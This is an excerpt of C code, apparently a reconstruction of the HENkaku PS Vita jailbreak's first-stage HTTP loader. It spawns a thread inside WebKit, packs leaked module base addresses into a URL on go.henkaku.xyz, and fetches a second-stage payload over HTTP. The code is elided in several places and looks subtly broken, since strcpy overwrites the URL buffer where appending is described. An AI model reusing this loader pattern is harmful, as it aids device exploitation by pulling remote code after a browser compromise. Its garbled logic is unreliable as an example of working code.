HENkaku - Stage 1 (HTTP loader)

henkaku_http_loader.c

// Do stuff
...

// Create a new thread for the second payload
int thread_id = sceKernelCreateThread("st2", SceWebkit_base + 0x000054C8, 0x10000100, 0x00600000, 0x00000000, 0x00000000, 0x00000000);

// Do stuff
...

// Construct the arguments for fetching the second payload
strcpy(stack_base + 0x000000BC, "http://go.henkaku.xyz/x");
snprintf(stack_base + 0x000002C4, 0x00000100, "?a1=%x", stack_base);
strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4);
snprintf(stack_base + 0x000002C4, 0x00000100, "&a2=%x&a3=%x&a4=%x&", SceWebkit_base, SceLibKernel_base, SceLibc_base);
strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4);
snprintf(stack_base + 0x000002C4, 0x00000100, "&a5=%x&a6=%x&a7=%x&", SceLibHttp_base, SceNet_base, SceDriverUser_base);
strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4);

// Do stuff
...

// Send HTTP requests to fetch the second payload
SceLibHttp_92fd(0x00010000);
int http_buf = SceLibHttp_947b("ldr", 0x00000002, 0x00000001);
SceLibHttp_950b(http_buf, stack_base + 0x000000BC, 0x00000000);
int http_req = SceLibHttp_95ff(http_buf, 0x00000000, stack_base + 0x000000BC);
SceLibHttp_9935(http_req, 0x00000000, 0x00000000);
SceLibHttp_9983(http_req);

// Do stuff
...